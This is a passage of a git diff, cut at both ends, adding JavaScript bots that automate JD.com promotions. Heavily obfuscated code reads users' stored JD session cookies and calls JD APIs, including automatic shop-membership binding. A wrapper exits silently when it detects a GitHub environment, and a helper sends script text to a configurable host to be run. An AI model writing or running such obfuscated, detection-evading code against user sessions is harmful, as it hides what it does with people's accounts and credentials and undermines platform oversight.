_0x6cdd9[_0x4b5d('‫15b')](_0x39dc51,_0x2f65dc);},'eUNpu':_0x6cdd9[_0x4b5d('‫15e')],'ujeFg':function(_0x1e2b85){return _0x6cdd9[_0x4b5d('‫15f')](_0x1e2b85);}};$[_0x4b5d('‮9c')](_0x26a295,(_0x3d2e9a,_0x10bfdf,_0x288b9e)=>{var _0x552408={'qVNqo':_0x4d9f91[_0x4b5d('‫160')]};if(_0x4d9f91[_0x4b5d('‮161')](_0x4d9f91[_0x4b5d('‫162')],_0x4d9f91[_0x4b5d('‫162')])){try{if(_0x3d2e9a){$[_0x4b5d('‮17')](_0x3d2e9a);}else{if(_0x288b9e){_0x288b9e=JSON[_0x4b5d('‫a3')](_0x288b9e);if(_0x4d9f91[_0x4b5d('‮163')](_0x288b9e[_0x4b5d('‫fd')],'0')){$[_0x4b5d('‫69')]=_0x288b9e[_0x4b5d('‫69')];}}else{$[_0x4b5d('‮17')](_0x4d9f91[_0x4b5d('‮164')]);}}}catch(_0xf5dfad){$[_0x4b5d('‮17')](_0xf5dfad);}finally{if(_0x4d9f91[_0x4b5d('‮165')](_0x4d9f91[_0x4b5d('‫166')],_0x4d9f91[_0x4b5d('‫166')])){_0x4d9f91[_0x4b5d('‫167')](_0x3dac20);}else{$[_0x4b5d('‮17')](_0x288b9e[_0x4b5d('‫105')]);}}}else{$[_0x4b5d('‮17')](_0x552408[_0x4b5d('‮168')]);}});});}function random(_0x4e6e63,_0x2d84ac){var _0x207301={'xaHYH':function(_0x106c63,_0x3cb826){return _0x106c63+_0x3cb826;},'SWHKd':function(_0x56b1d5,_0x11bb41){return _0x56b1d5*_0x11bb41;},'yTwTo':function(_0x13c696,_0x4257b0){return _0x13c696-_0x4257b0;}};return _0x207301[_0x4b5d('‮169')](Math[_0x4b5d('‫31')](_0x207301[_0x4b5d('‮16a')](Math[_0x4b5d('‫33')](),_0x207301[_0x4b5d('‫16b')](_0x2d84ac,_0x4e6e63))),_0x4e6e63);}function getUUID(_0xb2df97=_0x4b5d('‮c'),_0x2c4e4b=0x0){var _0x4c695c={'ruXRQ':function(_0x44427d,_0x44fb7f){return _0x44427d|_0x44fb7f;},'FlZqa':function(_0x118b23,_0xdc37e4){return _0x118b23*_0xdc37e4;},'dmCny':function(_0x19a575,_0x1af765){return _0x19a575==_0x1af765;},'LxXjK':function(_0x42bb2d,_0x5d394b){return _0x42bb2d&_0x5d394b;},'aqtnG':function(_0x441692,_0x3405e3){return _0x441692!==_0x3405e3;},'enLtO':_0x4b5d('‫16c'),'GtJVp':_0x4b5d('‫16d')};return _0xb2df97[_0x4b5d('‫51')](/[xy]/g,function(_0x33d5b6){var _0x532dd8=_0x4c695c[_0x4b5d('‮16e')](_0x4c695c[_0x4b5d('‫16f')](Math[_0x4b5d('‫33')](),0x10),0x0),_0x2e7d46=_0x4c695c[_0x4b5d('‫170')](_0x33d5b6,'x')?_0x532dd8:_0x4c695c[_0x4b5d('‮16e')](_0x4c695c[_0x4b5d('‮171')](_0x532dd8,0x3),0x8);if(_0x2c4e4b){if(_0x4c695c[_0x4b5d('‮172')](_0x4c695c[_0x4b5d('‮173')],_0x4c695c[_0x4b5d('‫174')])){uuid=_0x2e7d46[_0x4b5d('‫55')](0x24)[_0x4b5d('‮56')]();}else{$[_0x4b5d('‮17')](error);}}else{uuid=_0x2e7d46[_0x4b5d('‫55')](0x24);}return uuid;});}function checkCookie(){var _0x23a512={'urDzp':function(_0x15f3e9,_0x35680d){return _0x15f3e9|_0x35680d;},'IiVmJ':function(_0x4c6d62,_0x9d7d76){return _0x4c6d62*_0x9d7d76;},'QLDeJ':function(_0x2e2a91,_0x2d8611){return _0x2e2a91==_0x2d8611;},'vYnzy':function(_0x9e81ad,_0x1d38d5){return _0x9e81ad&_0x1d38d5;},'WWsZI':function(_0x35d929,_0x4ce5f2){return _0x35d929!==_0x4ce5f2;},'tARdq':_0x4b5d('‮175'),'kTkDa':function(_0x597fac,_0x9fc6dd){return _0x597fac===_0x9fc6dd;},'GHKBW':_0x4b5d('‫109'),'GzNST':_0x4b5d('‫176'),'GgOsj':function(_0x4f57a8,_0x4ad1e5){return _0x4f57a8===_0x4ad1e5;},'reFLd':_0x4b5d('‫10a'),'GERLp':_0x4b5d('‮5b'),'ZDgaN':_0x4b5d('‮177'),'OIZej':function(_0xb7ef08){return _0xb7ef08();},'JZUfX':_0x4b5d('‮178'),'PVoXE':_0x4b5d('‫179'),'xxJea':_0x4b5d('‫14e'),'JlRnX':_0x4b5d('‮c4'),'lHKjr':_0x4b5d('‫17a'),'AFicJ':_0x4b5d('‫c0'),'jXCkM':_0x4b5d('‮17b'),'nZLSK':_0x4b5d('‫c1')};const _0x644111={'url':_0x23a512[_0x4b5d('‮17c')],'headers':{'Host':_0x23a512[_0x4b5d('‫17d')],'Accept':_0x23a512[_0x4b5d('‫17e')],'Connection':_0x23a512[_0x4b5d('‫17f')],'Cookie':cookie,'User-Agent':_0x23a512[_0x4b5d('‮180')],'Accept-Language':_0x23a512[_0x4b5d('‮181')],'Referer':_0x23a512[_0x4b5d('‫182')],'Accept-Encoding':_0x23a512[_0x4b5d('‫183')]}};return new Promise(_0x5adc1d=>{$[_0x4b5d('‫11e')](_0x644111,(_0x94af08,_0x49cf0a,_0x3aa8cc)=>{var _0x208365={'wtDVN':function(_0x1ae863,_0x209190){return _0x23a512[_0x4b5d('‮184')](_0x1ae863,_0x209190);},'JkMhn':function(_0x39b246,_0x270f24){return _0x23a512[_0x4b5d('‫185')](_0x39b246,_0x270f24);},'WpOKX':function(_0x4b77fb,_0x4b842e){return _0x23a512[_0x4b5d('‮186')](_0x4b77fb,_0x4b842e);},'gIWiI':function(_0x4b12d2,_0x3e0b3f){return _0x23a512[_0x4b5d('‫187')](_0x4b12d2,_0x3e0b3f);}};try{if(_0x94af08){$[_0x4b5d('‮188')](_0x94af08);}else{if(_0x23a512[_0x4b5d('‮189')](_0x23a512[_0x4b5d('‫18a')],_0x23a512[_0x4b5d('‫18a')])){message+=_0x4b5d('‫4a')+$[_0x4b5d('‫23')]+'】'+($[_0x4b5d('‫26')]||$[_0x4b5d('‫20')])+_0x4b5d('‮4b')+$[_0x4b5d('‮3c')]+_0x4b5d('‮4c');}else{if(_0x3aa8cc){_0x3aa8cc=JSON[_0x4b5d('‫a3')](_0x3aa8cc);if(_0x23a512[_0x4b5d('‮18b')](_0x3aa8cc[_0x4b5d('‮145')],_0x23a512[_0x4b5d('‮18c')])){if(_0x23a512[_0x4b5d('‮18b')](_0x23a512[_0x4b5d('‫18d')],_0x23a512[_0x4b5d('‫18d')])){$[_0x4b5d('‫25')]=![];return;}else{var _0x3a3fc1=_0x208365[_0x4b5d('‮18e')](_0x208365[_0x4b5d('‮18f')](Math[_0x4b5d('‫33')](),0x10),0x0),_0xabc993=_0x208365[_0x4b5d('‫190')](c,'x')?_0x3a3fc1:_0x208365[_0x4b5d('‮18e')](_0x208365[_0x4b5d('‮191')](_0x3a3fc1,0x3),0x8);if(UpperCase){uuid=_0xabc993[_0x4b5d('‫55')](0x24)[_0x4b5d('‮56')]();}else{uuid=_0xabc993[_0x4b5d('‫55')](0x24);}return uuid;}}if(_0x23a512[_0x4b5d('‮192')](_0x3aa8cc[_0x4b5d('‮145')],'0')&&_0x3aa8cc[_0x4b5d('‫ad')][_0x4b5d('‮148')](_0x23a512[_0x4b5d('‫193')])){$[_0x4b5d('‫26')]=_0x3aa8cc[_0x4b5d('‫ad')][_0x4b5d('‫10a')][_0x4b5d('‫14a')][_0x4b5d('‮100')];}}else{$[_0x4b5d('‮17')](_0x23a512[_0x4b5d('‫194')]);}}}}catch(_0x1eb4b0){$[_0x4b5d('‮188')](_0x1eb4b0);}finally{if(_0x23a512[_0x4b5d('‮192')](_0x23a512[_0x4b5d('‮195')],_0x23a512[_0x4b5d('‮195')])){_0x23a512[_0x4b5d('‫196')](_0x5adc1d);}else{console[_0x4b5d('‮17')](error);}}});});};_0xodX='jsjiami.com.v6'; +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_wxUnPackingActivity.js b/jd_wxUnPackingActivity.js new file mode 100755 index 0000000..b6b7633 --- /dev/null +++ b/jd_wxUnPackingActivity.js @@ -0,0 +1,31 @@ +/* +福袋 +https://lzkjdz-isv.isvjcloud.com/wxUnPackingActivity/activity/13145?activityId= +7 7 7 7 7 jd_wxUnPackingActivity.js +变量 wxUnPackingActivity +*/ +const $ = new Env("福袋"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = null; +let unPackingScc = 0; +let wxUnPackingActivity = process.env.wxUnPackingActivity ?? ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +var _0xod2='jsjiami.com.v6',_0xod2_=['‮_0xod2'],_0x34d5=[_0xod2,'aHR0cHM6Ly9zaG9wbWVtYmVyLm0uamQuY29tL3Nob3BjYXJkLz92ZW5kZXJJZD0=','fSZjaGFubmVsPTgwMSZyZXR1cm5Vcmw9','WW92cUI=','bHBOcVg=','eHdiQnM=','V2psbEw=','RlNTemo=','RFVmWm0=','T1Rwa0I=','WGNjVGo=','WW5kbnQ=','eG9JRWc=','c3hmbnc=','ZllqeGc=','aHFGQ1U=','Rm5OWlo=','WmlDT2Q=','b3phTEk=','dXdvZGQ=','eWpLbHM=','RnRua1M=','ZWJBTG8=','aUhKak8=','QnZkZVI=','Y1RnbUE=','UG9KVkI=','TFFuSGI=','Vnl0Z2Q=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9hcHBpZD1qZF9zaG9wX21lbWJlciZmdW5jdGlvbklkPWJpbmRXaXRoVmVuZGVyJmJvZHk9','bWhOWnk=','aWx6QUY=','emxMUmE=','cmZKakw=','TGZGdGo=','fSZjaGFubmVsPTQwMSZyZXR1cm5Vcmw9','aHhSVHM=','S3FEY0w=','dWRCR3o=','aFBxVEU=','YkJqVXE=','QVNzT2g=','WXZRZ3A=','cHJISG0=','cm1GTVY=','U29GZFM=','d2dRekg=','Y3RtVUo=','Y2RZYnk=','WWhHVkQ=','UXVZVUo=','dWhsUWk=','TXJEZUY=','dmdXVUo=','dG5zS1Q=','TFR5THE=','R3haZ2I=','cXlBbHY=','SkQ0aVBob25lLzE2NzY1MCAoaVBob25lOyBpT1MgMTMuNzsgU2NhbGUvMy4wMCk=','emgtSGFucy1DTjtxPTE=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPWlzdk9iZnVzY2F0b3I=','dG9Eb00=','RGVnWVY=','cHZPb3g=','QlBTYUs=','QVFRbUI=','cGVHU0Y=','TWlzVVg=','Ym9keT0lN0IlMjJ1cmwlMjIlM0ElMjAlMjJodHRwcyUzQS8vbHpkejEtaXN2LmlzdmpjbG91ZC5jb20lMjIlMkMlMjAlMjJpZCUyMiUzQSUyMCUyMiUyMiU3RCZ1dWlkPTcyMTI0MjY1MjE3ZDQ4Yjc5NTU3ODEwMjRkNjViYmM0JmNsaWVudD1hcHBsZSZjbGllbnRWZXJzaW9uPTkuNC4wJnN0PTE2MjE3OTY3MDIwMDAmc3Y9MTIwJnNpZ249MTRmN2ZhYTMxMzU2Yzc0ZTlmNDI4OTk3MmRiNGI5ODg=','bFR3UVM=','T1Zxc2o=','VUxOSk0=','ZVNyTFo=','c0JUQm4=','Vkh2V20=','RnRMSlQ=','ZVBYeEg=','V1pybmI=','Q2xPWEU=','VHpYeWs=','alduUGc=','WGF1V1E=','UkxFa2k=','SlNYeGs=','QU5XTGE=','UnFOS0M=','eUdDZms=','d1BTVEE=','R3lmb3M=','ZWViY2Q=','WEZBS0E=','YUNZVlY=','eUdRcWE=','Tmd5eE8=','WGp6cG0=','cmVwbGFjZQ==','VVZaVkY=','RG5XaE8=','cmFuZG9t','a3hNaWg=','clZYbHg=','ZmloeE0=','dG9VcHBlckNhc2U=','T3BJd2c=','WEluUmU=','ZU5XamM=','THppY1E=','Zmxvb3I=','TnVzQ1c=','dWdBb2c=','ZVNGemI=','ZUx0dlk=','V1VFT0c=','amt4Y2M=','TEtkTUk=','QUF1RUY=','ZFNOc3U=','bHZrbWc=','Tnd3dGg=','SFdrT2Q=','Y2ZuTEc=','UkdNSEU=','V21BSVM=','bVRka2c=','eGJielY=','TldvVmo=','YmhNZ3E=','Z05JVkc=','SW9jSGQ=','aHR0cHM6Ly9tZS1hcGkuamQuY29tL3VzZXJfbmV3L2luZm8vR2V0SkRVc2VySW5mb1VuaW9u','bWUtYXBpLmpkLmNvbQ==','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxNF8zIGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi8xNC4wLjIgTW9iaWxlLzE1RTE0OCBTYWZhcmkvNjA0LjE=','aHR0cHM6Ly9ob21lLm0uamQuY29tL215SmQvbmV3aG9tZS5hY3Rpb24/c2NlbmV2YWw9MiZ1ZmM9Jg==','d0ZEbEw=','SnpYQ1I=','dklyeXE=','TnpSYk4=','d0hXUlk=','SGN1dG0=','ckRpVkE=','R2ZzY00=','SkhtdFU=','cGp0RkQ=','Zll5bHc=','TXNiQ3U=','VUpFUmI=','SEVpcUo=','SXRhSHQ=','cFlPRGs=','S2RXQ3o=','UmNFR1o=','QVlpaWI=','Qmh2WXI=','b3ZQaGk=','ak5ncmI=','Q2Nkd2U=','WGFhZXA=','SU1mTVA=','emtEbEE=','TldabHA=','SE1kVkc=','ZEVhTnQ=','cFR2Q2s=','ZlpFU3k=','ZWlZS1Q=','bnh1Zkw=','andCTXY=','44CQ5o+Q56S644CR6K+35YWI6I635Y+W5Lqs5Lic6LSm5Y+35LiAY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tL2JlYW4vc2lnbkluZGV4LmFjdGlvbg==','eHh4eHh4eHgteHh4eC14eHh4LXh4eHgteHh4eHh4eHh4eHh4','eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eA==','Ymd1T1E=','5bey57uP5Yqp5Yqb5Lq65pWwIA==','V014Ymw=','UEdiQWQ=','cGFyc2U=','c3VjY2Vzcw==','cmVzdWx0','aW50ZXJlc3RzUnVsZUxpc3Q=','b3BlbkNhcmRBY3Rpdml0eUlk','aW50ZXJlc3RzSW5mbw==','YWN0aXZpdHlJZA==','bXNn','bmFtZQ==','UkZpYUU=','eUVYem8=','WmdEYkI=','bGVuZ3Ro','VXNlck5hbWU=','TVZVeXI=','bWF0Y2g=','aW5kZXg=','bkRyRUI=','aXNMb2dpbg==','bmlja05hbWU=','bXdqTUg=','bG9n','CioqKioqKuW8gOWni+OAkOS6rOS4nOi0puWPtw==','KioqKioqKioqCg==','44CQ5o+Q56S644CRY29va2ll5bey5aSx5pWI','5Lqs5Lic6LSm5Y+3','Cuivt+mHjeaWsOeZu+W9leiOt+WPlgpodHRwczovL2JlYW4ubS5qZC5jb20vYmVhbi9zaWduSW5kZXguYWN0aW9